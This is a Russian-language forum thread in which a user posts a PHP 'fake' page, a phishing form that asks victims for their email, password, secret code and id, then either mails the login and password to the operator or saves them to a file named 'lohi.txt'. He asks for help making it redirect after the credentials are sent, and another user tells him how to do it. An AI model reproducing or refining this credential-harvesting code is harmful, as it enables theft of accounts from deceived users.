{% else-1 %}
Обновить | Подписаться | Поднять тему
Чтобы выполнить действие авторизируйтесь или пройдите регистрацию на сайте.
1. [автор] (18 май 2016, 17:49) [0/0] [0] [отв] [спам] [под] +1 | -1

Короче нашел скрипт фейка и хочу переделать его под свои нужды. там все в куче и два варианта получения данных либо запись в файл либо отправка на мыло. Весь код на одной странице а мне нужно сделать так что бы была только отправка на почту и чтоб после отправки перебрасывало на другую страницу. Сейчас код пришлю
Добавлено 18.05.16 в 17:52:06:
[code]<?
include 'config.php';
echo '<?xml version="1.0" encoding="utf-8"?><head><title>Главная страница</title><link rel="shortcut icon" href="http://lark.lark.ru/favicon.ico" type="image/x-icon">
<link href="style.css" rel="stylesheet">
</head><body>';
echo '<div class="title">GOOD LIKE</div>';
echo '<div class="text_panel"><p style="color:red;font-weight:bold;">Внимание!</p> для отправки данных необходимо заполнить <u>Все поля</u></br>Иначе сообщение не будет отправленно.</div>';
echo '<div class="title">Заголовок</div>';
switch ($_GET['act']){
default:
echo '<div class="content"><form action="?act=ok" method="post"></br>Ваше имя </br><input type="text" name="name" value="50"></br>Ваш email<br/><input type="text" name="login"><br/>Ваш секретный код. например "1234"<br/><input type="password" name="pass"><br/>Ваш номер(id). например "id15"<br/><input type="text" name="code" value="1000"><br/><br/><input type="submit" value="Отправить"></form></div>';
break;
case 'ok':
$name=htmlspecialchars(trim($_POST['name']));
$login=htmlspecialchars(trim($_POST['login']));
$pass=htmlspecialchars(trim($_POST['pass']));
$code=htmlspecialchars(trim($_POST['code']));
$err=0;
if (empty($login)){echo '<div class="err">Не введён логин</div>'; $err=1;}
if (empty($pass)){echo '<div class="err">Не введён пароль</div>'; $err=1;}
if (empty($code)){echo '<div class="err">Не введен код. введите 1234 для теста.</div>'; $err=1;}
if (!$err){
echo '<div class="ok">Готово! данные будут обработаны в течении '.rand(3,10).' минут.</div>';
if ($otpr == '1'){
$theme='Новое сообщение like';
$newmess='Новое сообщение от: '.$name.'

Логин: '.$login.'
Пароль: '.$pass;
$sender='supportУдалён
mail($email, $theme, $newmess, $sender);
}
if ($otpr == '2'){
$file=fopen("lohi.txt","w"*;
fwrite($file, "\n Логин: $login, Пароль: $pass \n"*;
fclose($file);
}
}
break;
}
echo '<div class="title">&copy: I LIKE!</div>';
?>[/code]

2. (18 май 2016, 17:52) [0/0] [0] [отв] [спам] [под] +1 | -1

Почитай про $_POST И mail();

3. [автор] (18 май 2016, 17:53) [0/0] [0] [отв] [спам] [под] +1 | -1

config.php /

<?
$otpr='1';
$email='supportУдалён
?>

4. [автор] (18 май 2016, 17:58) [0/0] [0] [отв] [спам] [под] +1 | -1

Владислав, вообщем я думаю что если создать файл например file.php и поставить его как обработчик <form action="/file.php" method="post"> то это сработает. но что мне написать в том файле? писал это
if ($otpr == '1'){
$theme='Новое сообщение like';
$newmess='Новое сообщение от: '.$name.'
Логин: '.$login.'
Пароль: '.$pass;
$sender='supportУдалён
mail($email, $theme, $newmess, $sender);
}
но не работает.
Добавлено 18.05.16 в 18:19:45:
Ау ребят помогите.

5. (18 май 2016, 18:21) [0/0] [0] [отв] [спам] [под] +1 | -1

if ($otpr == '2'){
$file=fopen("lohi.txt","w";
fwrite($file, "n Логин: $login, Пароль: $pass n";
fclose($file);
}

Вместо этого кода поставь переадресации и все


Изм. 1 раз. / Посл. изм. (18 май 2016, 18:23)
6. [автор] (18 май 2016, 18:24) [0/0] [0] [отв] [спам] [под] +1 | -1

архив с файлами

Прикрепленные файлы:
* PROFIWM_COM_1855_1558468_files.zip (1.46 кб)
7. [автор] (18 май 2016, 18:27) [0/0] [0] [отв] [спам] [под] +1 | -1
ishanoff,

Мне нужно что бы отправка выполнялась в другом файле и если все данные введены верно то перебрасывало бы на другу страницу
Добавлено 18.05.16 в 18:42:53:
Попробую обьяснить подробнее. мне нужно чтоб была только отправка на мыло и данные с форм обрабатывались в отдельном файле файле ну типо <form action="/file.php" method="post">
а в файле file.php была сама отправка и проверка правильности введенных данных. Если всё ок то перекидывает на страницу 2.html А если ошибка то возвращает обратно к полям. А в моём скрипте всё в одной куче))) я пробовал в file.php Засовывать отправку и проверку но у меня не вышло.
Добавлено 18.05.16 в 19:22:14:
уже что только не пробовал не получается

  • 1 из 1
Чтобы писать сообщения авторизируйтесь или пройдите регистрацию на сайте.
Подписаны: 1
Скачать тему | Файлы темы | Фильтр сообщений